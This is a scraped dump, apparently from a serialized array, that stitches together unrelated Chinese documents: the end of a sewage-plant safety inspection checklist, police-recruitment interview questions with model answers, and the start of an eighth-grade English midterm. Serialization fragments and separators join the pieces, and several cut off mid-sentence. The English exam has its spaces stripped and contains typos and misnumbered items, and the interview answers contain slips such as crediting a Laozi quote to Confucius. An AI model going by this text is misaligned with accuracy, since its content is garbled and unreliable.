@#@@#@2.6记录@#@查阅记录@#@A@#@查阅水泵等设备的安全操作规程;@#@查阅维修记录中,安全措施的布置;@#@查阅安全隐患整改记录。
@#@@#@3@#@沉砂池@#@3.1控制箱(柜)@#@现场检查@#@A@#@控制箱(柜)用黄绿电缆做接地处理,主体设备外壳有接地螺丝,并用黑色接地线与其联接,联接螺栓紧固无锈蚀、脱焊现象;@#@箱体安装牢固,无损坏和严重锈蚀现象,控制箱(柜)内无灰尘、杂物。
@#@@#@3.2急停装置@#@现场检查@#@A@#@急停装置可正常工作,外观完好醒目。
@#@@#@3.3附属设施@#@现场检查@#@A@#@围栏安装牢固,无损坏和严重锈蚀现象;@#@盖板牢固无损坏和严重锈蚀现象;@#@楼梯牢固可靠,无损坏和严重锈蚀现象。
@#@@#@3.4安全警示标志@#@现场检查@#@A@#@安全警示标志醒目,无模糊、损坏现象。
@#@@#@3.5安全救生器材@#@现场检查@#@A@#@救生圈外观应为橙红色,表面应无凹凸、开裂,外径应不大于800mm、内径应不小于400mm,重量应大于2.5Kg,外围应装有直径不小于9.5mm、长度不小于救生圈外径4倍的可浮把手索;@#@应单独配置安全绳,安全绳外观完";i:
35;s:
30445:
"安徽省招警面试试题1@#@招警面试题及答案@#@1、假如你是派出所民警,领导让调查青少年犯罪情况,你如何开展调查?
@#@@#@【参考答案】@#@青少年作为一个特殊的群体,他们的健康成长,直接关系到社会的健康和稳定。
@#@近年来,青少年犯罪率的居高不下现状,令人忧心。
@#@对青少年犯罪情况进行调查,对于预防青少年犯罪,促进青少年健康成长,意义非常重大。
@#@@#@要做好这项调查工作,我认为应该从以下几个方面着手:
@#@第一,根据领导的指示,成立调查小组,制定调查方案,明确调查的任务,做好分工。
@#@第二,依据调查任务的特点,确立调查的方式和调查的范围、对象。
@#@第三,要高质量地完成这次调查任务,除了做好相应的准备工作之外,我认为最重要的环节是要保障调查的全面性。
@#@所以,在调查过程中,我们既要到公安局、检察院和法院认真查阅我市青少年违法犯罪的相关数据,还要深入到监狱、劳教所、工读学校,与监狱管理人员、青少年违法犯罪者、老师们等展开座谈,充分了解青少年犯罪的心理状态和现实表现。
@#@同时我们还会以开座谈会的方式,邀请并认真听取专家对青少年违法犯罪典型案例的分析,并对调查所获得的材料或者数据进行整合、分类,从而对青少年违法犯罪的现状及特点做出科学的分析和推断。
@#@第四,调查活动结束之后,做好调查报告的撰写,并及时向所长汇报。
@#@@#@2.单位推出一项提高服务质量的新制度,刚开始时单位里的人都不适应,依然各行其事,导致群众有意见。
@#@你怎么处理?
@#@@#@【参考答案】@#@
(1)制度是一个单位的根本,没有规矩不能成方圆。
@#@单位推出这项提高服务质量制度是为了能更好的为群众服务,当然在实施新制度的时候还会遇到很多的问题,所以必须尽快的发现存在的问题,分析同事不愿执行的原因,尽快的提高为群众服务的质量。
@#@@#@
(2)首先我会分别和同事交流,与群众沟通,调查清楚同事不按制度执行的原因,群众不满意的原因并做好记录,然后与相关经验丰富的同事和领导仔细的分析这项新制度,如果发现问题我会记录下来并尽快的向领导反映新制度存在的问题,经领导批准后后我对存在问题进行修改,再结合单位和群众的实际情况组织相关人员进行讨论研究并尽快的制定出修改后的制度并交给领导审批,审批通过后要对单位的同事进行培训,让他们在最短的时间内熟悉这套新的制度。
@#@好的制度并不是对我们的约束,而是为了方便我们的工作,为我们服务群众提供更好的制度保障。
@#@另外做好对群众的解释和宣传工作,欢迎群众对我们进行监督。
@#@@#@(3)同时还要进一步调查同事和群众对新制度的满意度,并欢迎他们以后能提出宝贵的意见和建议。
@#@@#@(4)相信经过这次调整,单位的服务质量会越来越高,人民群众会越来越满意。
@#@最后我会认真的做好这次工作的总结,以备在以后遇到此类问题能有一个好的借鉴。
@#@以后我们在制定一项新制度的时候,要多听取群众和同事的意见,争取让我们的制度能够更好更方便的为同事服务,为群众服务。
@#@@#@3、“是替党说话,还是替老百姓说话?
@#@”这句出自郑州市规划局副局长逯军之口的话迅速成为网络上的热语。
@#@作为一名准公务员,请就此话谈谈你的个人看法。
@#@@#@【参考答案】@#@“你是准备替党说话,还是准备替老百姓说话?
@#@”这一句话犹如惊天霹雳在网上迅速蔓延,引来了一片指责声。
@#@自然,逯军事件也暴露出地方领导干部一些问题,除了暴露出地方领导干部群众路线意识的缺乏,我们可以从三个角度来看待这一事件。
@#@@#@分析论证:
@#@第一,群众路线。
@#@“你是准备替党说话,还是准备替老百姓说话?
@#@”引爆了舆论对其群众意识缺乏的谴责。
@#@这一句话将党和群众对立起来。
@#@而群众路线是中国共产党一切工作必须坚持和贯彻的根本路线,密切联系群众是我们党的优良作风,也是我们党的最大政治优势。
@#@逯军或许无心之言恰恰暴露了某些基层领导干部对党的思想路线的缺乏。
@#@在现实生活中,少数党员干部错误地认为,自己手中的权力是上级封的、领导给的,跟群众毫无关系。
@#@在他们眼里,所谓“执政为民”,只是维护自己手中权力、地位和利益的幌子,一旦遇到考验便露了原形。
@#@“逯军事件”再次提醒:
@#@“权为民所用,情为民所系,利为民所谋”永远是高悬在各级党员干部头上的行为标尺。
@#@“天下稍安,尤须兢慎,若便骄逸,必致丧败。
@#@”党的几代领导集体反复强调,作为执政党,我们的一切权力都是人民赋予的。
@#@“立党为公,执政为民”,这是我们党赖以生存的根本,我们党的根基在人民,血脉在人民,力量在人民。
@#@@#@第二,基层领导干部的培养。
@#@蒙牛老总牛根生曾有这样一句名言:
@#@有德有才,破格重用;@#@有德无才,培养使用;@#@有才无德,限制录用;@#@无德无才,坚决不用。
@#@这应该成为广大公务人员特别是领导干部选拔的标准。
@#@党的基层组织是党的战斗堡垒,是和人民群众联系最密切的党组织,基层党组织建设的如何关系着党的发展大局。
@#@因此,基层党员领导干部起着十分重要的作用。
@#@与重拳惩治“问题高官”一样,加强对基层官员的整肃,确保干部队伍保持优良的工作作风,避免因基层官员的“失德”而导致“失民心”,也是从根本上整顿吏治的一篇“大文章”。
@#@我们要选择那些有德有才之人担当大任。
@#@这样我们的党才能永葆先进性。
@#@@#@第三,加强制度建设。
@#@正如一些专家在“逯军事件”后说的那样,要考虑从根本上解决干部作风问题,一是对干部加大思想道德认识的教育和培训,提高他们的基本素养;@#@二是要继续完善干部选拔任用方面的制度,解决这方面存在的问题。
@#@用谁不用谁,提拔谁不提拔谁,要用制度去规范。
@#@一切规范约定都要加强党内和政府相关制度建设。
@#@只有这样,我们的党群干群关系才会更加融洽,社会主义和谐社会目标的建设也就指日可待。
@#@@#@4、某天单位一项紧急任务需要你立即动身,这时有电话说你的家人突然发病,需要马上送医院,面对紧急情况,你如何处理?
@#@@#@【破题表态】@#@遇到这种情况,要保持镇定,分清事情的轻重缓急,根据具体情况具体对待。
@#@@#@我会从以下几个方面着手:
@#@第一,始终要坚持把工作放在首位。
@#@我会问清情况,了解家人病情。
@#@如果家人的病不是很严重,我可以让朋友或是亲戚帮忙送去医院,并及时了解事情变化。
@#@然后按时出发,处理工作中的紧急事务。
@#@在事后,我会和家人说明情况,我相信我的家人会理解我的。
@#@第二,要是我的家人病情非常严重,在没有我在身边可能会危及生命的情况下,那么我会主动向领导说明情况,向领导请假,要求同事代替我去处理紧急公务,我想领导会给予理解和支持的。
@#@第三,家人病情如果一旦稳定,而单位公务还需要我去的话,我应该安排妥当,然后去处理公务,尽量不影响工作开展。
@#@@#@作为一名公务员,我们应该把工作摆在第一位,要始终坚持全心全意为人民服务的宗旨。
@#@但是在具体问题处理上,我们要坚持实事求是的原则,处理好工作与生活的关系。
@#@@#@5、现在很多公务员上班上网偷菜,不干工作,引起了群众的不满,你觉得出现这种现象原因是什么?
@#@如果你成为一名公务员,你会怎么做?
@#@@#@【分析】这是一道综合分析类面试题。
@#@虽然引入了非常新的“偷菜”这一概念,但是仔细审题后会发现还是在问“一些公务员在上班时间做与工作无关的事”这一问题。
@#@所以按照综合分析类面试题的解题思路就可以回答这道题。
@#@@#@【参考答案】目前网上偷菜是非常流行的一款小游戏,很多人在工作之中也在玩。
@#@的确,有一些公务员在上班期间也在上网偷菜,这虽然是少数现象,但是不仅影响了工作,而且破坏了公务员在人民群众中的形象。
@#@之所以会出现这样的现象,我认为有以下原因:
@#@@#@第一,随着网络的发展,一些小游戏很受人们欢迎,满足了人们日常娱乐的需求。
@#@随着公务员队伍的年轻化,一些公务员开始玩网络上的游戏是可以理解的。
@#@第二,在上班时间玩游戏是我们所不能接受的。
@#@原因之一就是这些玩游戏的人,在思想上放松了对自己的要求,上班时间是不能做与工作无关的事情的。
@#@第三,在公务员的日常考核制度方面,没有很好的得以贯彻和执行。
@#@使得那些在上班时间玩游戏的人,缺少制度上的监管,而没有受到相应的处罚。
@#@@#@针对以上问题,可以从这样几个方面来加以解决:
@#@第一,加强对于公务员的宣传教育,使他们认识到上班时间玩游戏的错误,不在上班时间做与工作无关的事。
@#@第二,加强公务员日常考核制度建设,增大对上班时间玩游戏的检查和处罚力度。
@#@第三,采取技术上的措施,对一些游戏网页进行封闭,从技术上进行管理。
@#@第四,开展丰富多彩的娱乐活动,使得下班后的生活丰富起来。
@#@@#@6、请根据老子的“见欲而止为德”这句话,结合当前公务员特别是政法干警在战线上的道德修养来发表你的看法?
@#@@#@【试题分析】本题为综合分析题中的名言警句类题,主要想通过考生对名言警句的解释,引申论述,来考察考生的知识积累,独立思考以及思辨的能力,解决本题的关键在于对名言警句的解释以及论述中论据的充实程度。
@#@@#@【解题思路】首先对孔子说的这句话进行解释,提出中心主题。
@#@其次对主题进行论述,在论述的过程中应多引用古今中外的例子,这样更有利于说明问题。
@#@最后要结合自身的特点论述这句话给自己的生活和工作带来的帮助。
@#@@#@【参考答案】老子的“见欲而止为德”强调的是面对自身的欲望,要学会控制,要学会节制。
@#@人类社会物质文明和精神文明的发展,其动力主要来自人们的各种欲望和追求。
@#@我们对于人的各种欲望,应当有清醒的认识,既要肯定和支持其积极、正常、合理的内容,又要否定和节制那些消极、反常、不合理的部分。
@#@换言之,对于欲望,要有度。
@#@过度的欲望,就是贪欲。
@#@为了实现贪欲而想出的那些点子,就是诈智。
@#@老子曾提出“致虚”、“守静”的主张,其主旨和积极意义也在于要求人们戒除贪欲和诈智,清心寡欲。
@#@这是人生修养中必须解决的一个重要课题。
@#@@#@因为欲望有正、邪之分。
@#@正当的、合理的欲望是生命和事业的动力,邪恶的、卑劣的欲望则是堕落和犯罪的根源。
@#@胡长清、成克杰等大大小小腐败分子爆出了丑闻,他们个个穷奢极欲,见了钱就像饿虎扑食那样,拼死命地去捞。
@#@正是这种虎狼般的贪欲,把他们引进了监牢和地狱。
@#@海南省东方市原市委书记戚火贵,贪污受贿高达1300余万元。
@#@他在法庭上的一段自白,清楚地印证了这一点:
@#@“我爱财如命,财迷心窍,贪得无厌,把人民给我们的权力用来牟私利,最终成为人民的罪人。
@#@”然而,到法庭上才悔悟,已经晚矣。
@#@@#@在商品经济高度发展的现代社会里,诱惑实在太多了!
@#@如何抵御种种诱惑老子说得好,“见欲而止为德”。
@#@邪生于无禁,欲生于无度,作为一名政法工作着忘记了清正廉洁,忘记了立党为公的道理,就难免产生邪心恶念。
@#@而“疾小不加理,浸淫将遍身”,到头来就可能出大事,犯大错误。
@#@所以,戒贪戒诈,保持内心世界的宁静,是一种很高的精神境界和人生修养。
@#@历史上许多仁人志士尚且深谙“静以修身”、“淡泊明志”、“宁静致远”的道理,并且身体力行。
@#@作为政法工作者,工作关乎社会的公平与正义,更应该在这方面作出表率。
@#@面对“灯红酒绿”,物欲横流,如何保持平静的心态,耿介脱俗,甘于淡泊。
@#@面对一部分人先富起来,如何保持平稳的心态,神定气安。
@#@面对人生的各种遭遇,如何保持平常人的心态,做到宠辱不惊、去留无意。
@#@做到江泽民同志曾经要求的那样,“经得起改革开放的考验,经得起权力、金钱、美色的考验”,以清正廉洁,一身正气的良好形象取信于人民。
@#@这些课题,时刻都在考验着我们。
@#@如何回答这些问题,反映着我们的精神境界和思想道德水平。
@#@有人说现在要唱响“不贪歌”:
@#@不贪财、不贪色、不贪位、不贪杯。
@#@要常思贪欲之害,常弃非分之想,常修为官之德。
@#@我觉得,这些都不失为节制邪欲、贪欲的一种好办法。
@#@有道是,胸怀法度,情系人民,廉政勤政,乃公仆之本。
@#@而要实现这一点,就需要我们的公仆们能切切实实做到到“见欲而止”。
@#@@#@7、你乘坐的公交车遭遇三名持刀歹徒,并且有乘客受伤,警察赶来后要求你协助,作为普通公民你该怎么做?
@#@@#@【试题分析】本题属于情境应变类试题,考查考生对突发事件的应急应变能力,考生作答本题要注意细节。
@#@@#@【解题思路】首先,社会公共安全角度破题表态;@#@其次,分情况讨论;@#@最后,简单进行总结即可。
@#@@#@社会的公共安全,对加强我国社会治安建设,推进社会治安事业科学发展,维护公共安全,促进社会和谐,具有十分重要的意义。
@#@”@#@我作为普通公民一定会积极的配合警察的工作,虽然我的力量有限,但是我一定会竭尽所能。
@#@@#@如果此时警察让我协助救人的话,我会根据情况,首先拨打120告知伤者的情况,询问在此情况下最妥当的处理方法,按照指示处理救护。
@#@如果周围有具备医学知识的群众,也可请其协助救援。
@#@@#@如果警察需要我协助了解当时的情况,我会镇定情绪,认真回想当时的情景,把重点向警察陈述,比如歹徒的身高容貌等体貌特征,尽量为警察提供更多有效的信息。
@#@如果需要我做笔录的话,我也会积极配合,把手头的事情先交待清楚再配合警方完成工作,以避免耽误单位的工作。
@#@@#@积极配合警察工作是每个公民的义务。
@#@维护社会的安定是和谐是警察的神圣职责,但是我们最为一名普通的公民也是可以做一些力所能及的事情来帮助共同实现和谐社会的,正如,国家兴亡,其夫有责。
@#@@#@8、时针、分针、秒针围绕同一点旋转,根据时钟的运动规律联系实际谈谈你的看法。
@#@@#@【试题分析】本题属于综合分析类试题,考查考生的综合分析能力,考生作答本题要注意运用联系的观点看问题。
@#@@#@【解题思路】首先,透过现象看本质;@#@其次,分析论证各种不同分工的作用;@#@再次,点明工作中心;@#@最后,论己即可。
@#@@#@时钟的运动规律可以理解为不同的工作有不同的分工,有各自的特点和侧重。
@#@每个人都是社会不可或缺的一部分,都是整个社会运行的一个环节。
@#@@#@有些人,统筹全局,从整体上把握和指导工作,就像时针,有些更加关注工作的落实和细节层面像分针和秒针。
@#@我们伟大的毛主席根据当时的国情造就了农村包围城市的伟大策略。
@#@敬爱的邓小平同志的伟大突破,改革开放,使中国产生了翻天覆地的变化。
@#@@#@但是一切都是围绕我们的工作原则(原点)和工作目标(报时)开展工作的,工作的原则是我们行事的前提,只有有了这个维度才能更好的去开展工作,没有规矩不成方圆。
@#@工作的目标是我们前进的方向,能够登上金字塔顶端的只有两种动物,一种是雄鹰一种是蜗牛,这个金字塔的顶端也就是寓意为工作的目标,我们要迎着目标,奋力攀登。
@#@@#@如果我能荣幸的进入公务员队伍,我会以为人民群众做实事做好事为根本,立足本职提升党性修养,提高业务水平,为群众真正的做些事情。
@#@@#@9、有人说,“常在河边走,哪有不湿鞋”,也有人说,“身正不怕影子歪”,你如何看?
@#@@#@【试题分析】本题属于综合分析类试题,考查考生对名言警句的敏感程度和综合分析能力,考生作答本题要注意用联系的观点看问题,找出两句话的结合点。
@#@@#@【解题思路】首先,就这两句话点明实质;@#@其次,就两句话分别分析;@#@最后,论己即可。
@#@@#@【参考答案】@#@这两句话核心说的都是个人的品德价值观世界观。
@#@“常在河边走,哪有不湿鞋”这的确代表了一部分人的观点,我们承认环境对人会有一定的影响,但决定一个人是否会湿鞋,最根本的是他的人生观价值观是否正确。
@#@身正不怕影子斜身,正,乃正直正确的意思;@#@影子斜,我们可以理解为外界的干扰。
@#@至于“不怕”,我有两层定义:
@#@第一是不去理睬,抱定“清者自清,浊者自浊”的态度,坚持做对社会有益的事,坚信有一天真理不辩自明,而公道自在人心;@#@第二则是不能置之不理。
@#@我们不但要勇于面对莫名的非议与打击,更要坚决地用事实的武器予以回击,只有这样,高尚的品德才得以弘扬,世间的浩然正气才能长存!
@#@@#@以腐败为例,的确我国腐败现在比较严重,但是从全国来看,总体还是好的,例如:
@#@工作像救火一样,的牛玉儒,人民的好卫士任长霞,平民英雄陈刚毅等,还有许许多多工作在平凡的岗位上的默默无闻的人。
@#@人们对那些只重视“影子”的人,是怎样看待的呢?
@#@中国古代儒家学派创始人、大思想家——孔子称此种人为“香圆”,曰:
@#@八面玲珑,心口不一。
@#@也就是说,这种人表面看来似乎人缘很好,人人称之为善。
@#@那些我垂青史、万古流芳的人都是修“德”,办实事的人。
@#@岳飞、郑成功。
@#@毛泽东、周恩来。
@#@当光明普照的时候,人们心中就永远不会再有这样的“影子”了。
@#@人生真正的格言只有一句:
@#@只要身正、心正,那么“影子”自然是正的。
@#@@#@具有正确的人生观价值观,是学习理论知识坚固的结果,很多“湿鞋”的人在悔过书上都提到了这一点,认识到自己理论知识学习不够扎实。
@#@@#@作为一名公务员,要对党和国家忠诚,要对百姓负责,更要时刻保持头脑清醒,不受任何诱惑,如果我有幸成为一名公务员,我会努力学好理论知识,提升党性修养,提高业务水平,时时刻刻认真按照江泽民同志提出的“三个代表”重要思想要求自己,做“三个代表”的忠实实践者。
@#@@#@10、针对最近广州、湖南等地发生的酒后驾驶事件,谈谈你对酒后驾驶的看法。
@#@@#@【试题分析】这是综合分析题中的社会现象题,通过考生对社会现象的分析了解考生分析和解决问题的能力,以及对社会问题的认识深度。
@#@@#@【解题思路】形成该题的解题思路并不难,首先谈一谈酒后驾驶的危害性,然后分析酒后驾驶经常发生的原因,再针对原因提出相应对策即可。
@#@@#@【参考答案】各种交通事故的新闻在媒体上时有报道,其中大约50%—60%的交通事故与酒后驾驶有关,酒后驾驶已经被列为车祸致死的主要原因。
@#@酒后驾驶的危害触目惊心,需要引起全社会的高度重视。
@#@@#@酒后驾驶屡屡发生,在司机方面的原因主要是酒后驾驶的司机往往交通法规意识淡薄,认识不到遵守交通法规对于自己和他人生命安全的重要性,这在一定程度上也反映出他们社会责任感较差,漠视自己与他人生命;@#@另外,一些司机也知道应该遵守交通法规,但是常存有侥幸心理,自我约束力差,觉得自己不会出事也不会被查到,故铤而走险。
@#@@#@酒后驾驶屡禁不止,也有执法方面的原因。
@#@一方面执法不严、违法不究的现象时有发生,这也就助长了一些司机侥幸心理的滋生;@#@一方面处罚力度不够,酒后驾驶一旦被抓,往往只能受到一些警告和轻微处罚,起不到实质性的警示作用,让一些司机觉得无所谓,故而不引起重视。
@#@@#@要减少酒后驾驶现象的出现,一是加大交通法规和酒后驾驶危害的宣传力度,让有关交通法规深入人心,让司机认识到酒后驾驶对自己、家人和社会大众的危害,以及一旦被查或酿成事故必受严惩的结局;@#@二是加强监督与执法,做到执法必严、违法必究,完善相关法律法规,加大对酒后驾驶的处罚力度。
@#@@#@防止酒后驾驶是个系统工程,除了司机和执法部门外,还需要全社会做出努力,比如在车上安装防酒后驾驶系统,若司机呼吸酒精浓度超过国家标准则汽车无法启动;@#@餐饮娱乐场所可以为客人开设“酒后代驾”服务,或由政府开通“酒后代驾”服务专线;@#@餐饮娱乐场所也可以免收酒后客人的车辆过夜停车费,支持客人在酒后主动放弃驾驶等等。
@#@@#@酒后驾驶,人命关天,需要司机、司机家属、交通执法部门以及全社会引起高度重视,多管齐下,通过综合手段和措施进行预防和治理,常抓不懈,真正做到司机与乘客的“出入平安”。
@#@@#@11、请谈谈你对武汉“公交打人”事件的看法。
@#@@#@本题属于综合分析题的社会热点类。
@#@意在通过这一社会热点事件,考查考生对公民基本道德和和谐社会建设的看法。
@#@@#@首先破题表态,表明自己对这一事件的观点,以及此事件反映的深层次社会问题;@#@其次针对当前社会公民道德建设和和谐社会建设的内容进行分析;@#@再次对如何加强公民道德建设,促进和谐社会建设提出合理化建议;@#@最后回归到公民道德和和谐社会的高度进行总结提升。
@#@@#@【参考答案】中华民族是一个有着悠久文明的礼仪之邦。
@#@武汉“公交打人”事件,严重违背了中华民族的道德传统,是对当前和谐社会建设的公然挑衅和亵渎。
@#@这一事件中,我们看到了打人者的嚣张气焰,看到了周围群众的冷漠,更看到了当前社会道德的缺失。
@#@这不能不引起我们的反思。
@#@@#@我国坚持依法治国和以德治国相统一的治国方略。
@#@面对这样的事件,除了运用法律手段予以制裁外,更重要的是要用道德的力量规范公民行为,进而从根本上解决类似事件的出现。
@#@@#@首先要通过各种舆论媒体渠道,大力宣传社会主义道德观,营造公民道德建设的良好氛围;@#@其次要善于发现和树立日常生活中的道德典型,继续通过“道德模范”评选等活动,宣传先进、鞭策后进,用榜样的力量影响周围群众;@#@再次各类社会团体、社会组织要发挥好组织工作,组织本单位员工开展形式多样的道德建设活动;@#@最后广大人民群众要学习先进,以《公民道德建设设施纲要》等为标准,对自己高标准、严要求,不断提高自身道德素质水平。
@#@@#@公民基本道德建设是一个民族前进和发展的重要保障,是激发民族精神、营造良好社会风尚不可或缺的基石。
@#@在当前经济社会快速发展,努力构建社会主义和谐社会的今天,加强公民道德建设显得尤为重要,我们每一个人都要积极参与其中,共同促进社会主义和谐社会建设目标的实现。
@#@@#@【名师点拨】本题的重点在于通过这一事件,揭示出当前加强公民道德建设,促进和谐社会建设的内在实质,亮点在于观点在能够通过依法治国和以德治国的统一自然过渡到公民道德建设上来。
@#@@#@12、假如领导派你和一个有矛盾的同志一起出差,你如何处理?
@#@在日常生活中,出现这样的事情你是如何处理的?
@#@试举例说明。
@#@@#@在日常生活中,由于每个人的观点和立场,看待和分析问题的方法不同,矛盾是不可避免的。
@#@假如我和一个和我有矛盾的同志一起出差,我想首先应该开诚布公,因为有矛盾,就把许多东西隐藏起来,这只会加深误会,假如互相坦诚相见,以一种客观,不带个人情绪的态度看问题,你会发现你原先自认为十分得意的想法并不完全正确,你先前反对的看法和观点可能只是一个事物的另一侧面,你们原来在许多方面可以互相补充,互相完善。
@#@我个人认为在处理矛盾问题上要有一种宽容的态度,俗话说的好:
@#@宰相肚里能撑船。
@#@心胸狭隘是化解矛盾的大敌,而一个心胸狭隘的人是绝不可能成就一番大事业的。
@#@我在上大学时,同寝室一个同学喜欢在寝室随地吐痰,我很不喜欢这一点,但他脾气比较暴躁,如果我直接向他说,矛盾就会激化,对此我采取了以下方法:
@#@一是通过别的同学委婉地表达我对他随地吐痰的反对态度;@#@二是经常拿一些有关随地吐痰危害自己和他人健康的书籍放在寝室的桌子上,使他能够看到;@#@三是我在他在寝室的时候也吐痰,但是不在寝室里吐,而是在外边吐,暗示其应到外边吐痰。
@#@@#@13、有人做事高调,喜欢表现自己;@#@有人做事低调,谦虚谨慎。
@#@你是怎么看的?
@#@@#@题型分析:
@#@综合分析,矛盾类@#@答案:
@#@“做事高调,喜欢表现自己”与“做事低调,谦虚谨慎”表面是矛盾的,但是我们应当辩证地对待,坚持具体情况具体分析。
@#@首先,勇于表现实际上是推动人们进取向上的一种心理动力。
@#@一个社会只有当它的成员能够普遍地充分表现自己才华的时候,这个社会才是生机勃勃,兴旺发达,充满活力的。
@#@其次,从个人和社会的相互关系看,勇于表现是个人对社会的一种奉献。
@#@勇于表现的过程就是人们积极从事创造的过程,是把个人的智慧和才能提供给社会选择和使用的过程。
@#@当然,自我表现和自我吹嘘是有着本质区别的。
@#@自我表现者是靠真才实学,靠实实在在的行动,靠看得见的成果来表现自己的价值的。
@#@而自我吹嘘者则拿不出什么实实在在的东西,而是靠谎言和欺骗的虚假的东西来表现“自我价值”。
@#@这种自我吹嘘,只有一时的诱惑力,一旦真相暴露,就将被人们所唾弃。
@#@谦卑处世人常在:
@#@谦卑是一种智慧,是为人处世的黄金法则,懂得谦卑的人,必将得到人们的尊重,受到世人的敬仰。
@#@俗话说:
@#@“道有道法,行有行规”,用平和的心态去对待人事,也是符合客观要求的,因为低调做人才是跨进成功之门的钥匙。
@#@一个低调、谦虚、不骄不躁的人才是团队中真正受到欢迎的人,只有这样的人才会得到大家的信任和支持。
@#@总之,这两句话告诉我们要高调做事,低调做人。
@#@一个人只懂得如何做事是不够的,还要学会如何做人。
@#@做事与做人,是硬币的两面。
@#@高调做事者,必须同时追求人际关系的和谐;@#@低调做人者,也必须学会不避嫌怨,高调做事。
@#@@#@14、你是一名警察,碰到一个醉酒驾车的人,且他不配合你的工作,你怎么处理?
@#@@#@题型分析:
@#@计划组织,应急处理@#@答案:
@#@作为一名人民警察,应当用“立警为公,执法为民,严格执法,热情服务”的理念来处理工作中遇见的各种事件。
@#@如果出现这样的情况,我会从以下几个方面来做:
@#@首先,在确保道路交通顺畅的情况下,把醉酒驾车的司机安排到路边安全的地方,依程序对其进行酒精测试。
@#@其次,如果他意识还比较清醒,我会当场对他进行劝说教育,按照相关规定予以处罚,并通知其家人或朋友来接他回家。
@#@如果他意识不是很清醒,我会及时通知我的同事,将其带到附近的派出所,约束至酒醒后予以说服教育,并按相关规定予以处罚。
@#@总之,今后工作中,我们既要严格执行法律法规,同时又要热情服务,在热情周到的服务中始终贯穿严格执法的理念。
@#@只有这样,我们的警察队伍才能保持与时俱进,提高服务质量,真正树立起“立警为公,执法为民”这面大旗。
@#@@#@15、如果让你去做一名社区民警,你怎么办啊?
@#@@#@这是一道需要经过考生的仔细思考判断才能准确定";i:
36;s:
11304:
"八年级英语试题@#@2013—2014学年度下期八年级期中考试@#@英语试题@#@题号@#@一@#@二@#@三@#@四@#@五@#@六@#@七@#@总分@#@得分@#@一、听力题解(20分)@#@第一节听下面五段对话,每段对话后有一个小题,从所给的A、B、C三个选项中选择正确的答案@#@()1.Whenwillclean-upDaybe?
@#@@#@A.InOneweekB.IntwoweeksC.Inthreeweeks@#@()2.Whatdoestheboyusuallydoinhisfreetime?
@#@@#@A.hangsoutwithhisfriends@#@B.WatchesTVC.Seesamovie@#@()3.Whatdoestheboyhavetodofirst?
@#@@#@A.TomakethebedB.TofoldtheclothesC.Tosweepthefloor.@#@()4.What’swrongwiththegirl?
@#@@#@A.Shehasafever.B.Shehasacold.C.Shehasasoreback.@#@()5.Wasthemanreadingabookaboutmath?
@#@@#@A.Yes,hewas.B.No,hewasn’tC.Wedon’tknow.@#@第二节听下面几段对话或独白,每段对话或独白后有几个小题,从题中所给的A、B、C三个选项中选出最佳答案@#@听下面一段对话,回答第6—7两个小题@#@()6.Wherewasthemanatthatmoment?
@#@@#@A.Inthebathroom.B.Inthebedroom.C.Inthekitchen.@#@()7.Whatwasthemandoing?
@#@@#@A.Hewastakingashower.B.Hewaswashinghiscloths@#@C.Hewascleaningthebathroom.@#@听下面一段对话,回答第8—10三个小题@#@()8.Thetwospeakersaremostprobably_____.@#@A.ateacherandastudentB.adoctorandapatient@#@C.aparentandachild@#@()9.What’sthematherwiththewoman?
@#@@#@A.ShehadacoldB.Shefailedtheexam.C.Shelostherbag.@#@()10.Whatdidthemantellthewomantodo?
@#@@#@A.ToworkharderB.Totakesomemedicine@#@C.Todrinkmorewater.@#@听下面一段对话,回答第11—12两个小题@#@()11.Howlongdidtheboyspenddoinghishomework?
@#@@#@A.Onehour.B.Twohours.C.Threehours.@#@()12.Howwastheboys’ssleeplastnight?
@#@@#@A.TerribleB.GoodC.Wedon’tknow@#@听下面一段对话,回答第13—15三个小题@#@()13.WhowaswatchingTV?
@#@@#@A.MikeandhisbrotherB.Mike’sfatherC.Mike’smother.@#@()14.WhatwasMike’smotherdoing?
@#@@#@A.ReadingnewspapersB.havingarestinbed.@#@C.FlyingtoNewYork.@#@()15.WheredidLucygetthenews?
@#@@#@A.InNewYork.B.Athome.C.Ontheplane.@#@第三节听短文,完成下列问题@#@AVisittotheHospital@#@WhenMaryandthespeakervisitedMike@#@On16.__________afternoon.@#@WhatwasthematterwithMike@#@Hehad17._________andahighfever.@#@HowlongMikestayedinthehospital@#@For18.__________________.@#@WhattheydidforMike@#@1.Theyhelpedhimwith19._________theyhadlastweek.@#@2.They20.____________tomakehimhappy.@#@二.单项选择(每小题1分,共15分)@#@()21.Petergotthefirstprizeinthemathcontest,whenAlicetoldhimthe_______news,hewasvery___________.@#@A.excited,excitingB.excited,excited@#@C.exciting,excitingD.exciting,excited@#@()22.—Youarelateagain,Tom.@#@--Sorry,MrSmith.Myalarmdidn’t_____thismorning,soIgotuplate.@#@A.gooffB.runoffC.liedownD.pickup@#@()23.--Canyou_______mesomemoney?
@#@@#@--Certainly@#@A.borrowB.lendC.keepD.have@#@()24.Don’tworry.Iwon’t______anythingaboutit.@#@A.talkB.sayC.speakD.tell@#@()25.Don’tcompareyourson________otherchildren.It’sbad_____him.@#@A.for,forB.with,withC.for,withD.with,for@#@()26.Don’tforget_____mewhenyougettheletter.@#@A.tocallB.callingC.calledD.call@#@()27.Whenhecamein,I______mysister______cooking.@#@A.washelping,withB.helped,with@#@C.helped,atD.washelping,at@#@()28.Robertdoesn’thaveafter-schoolclasses.Idon’thave_____.@#@A.alsoB.tooC.eitherD.aswell@#@()29.Whatwasshedoing______hermothercameback?
@#@@#@A.whenB.whileC.whereD.which@#@()30.Jackwas_____tothedoor.He_________it.@#@A.close,closeB.close,closed@#@C.cloese,closedD.closing,close@#@()31.Eachofthestudents______ontheplaygroundwhenthebellrang.@#@A.hasfunB.havefun@#@C.washavingfunD.werehavingfun@#@()32.Marywasborn________acoldmorningin1998.@#@A.inB.onC.atD.to@#@()33.Lucyhadfun_________intheparkyesterdayafternoon.@#@A.singB.sangC.tosingD.singing@#@()34.ThismorningIwenttoschoolinsuchahurrythatI_____thekeytotheclassroomathome.@#@A.forgotB.leftC.missedD.lost@#@()15.Sheaskesmeifit______tomorrow.Ifit_______tomorrow.Shewillgocampingwithme.@#@A.willrain,won’trainB.willrain,doesn’train@#@C.rains,doesn’trainD.rains,won’train@#@三.完形填空(每小题1分,共10分)@#@Itwasgettingdark.SomechildrenandtwoCanaclianwomenwerestill36ontheicenearabighotel,Theywerehavingagoodtime.@#@Suddenlytheice37.Oneoftheboysfellintothewater.Thechildrenshouted,"@#@Help!
@#@Help!
@#@"@#@Theydidn:
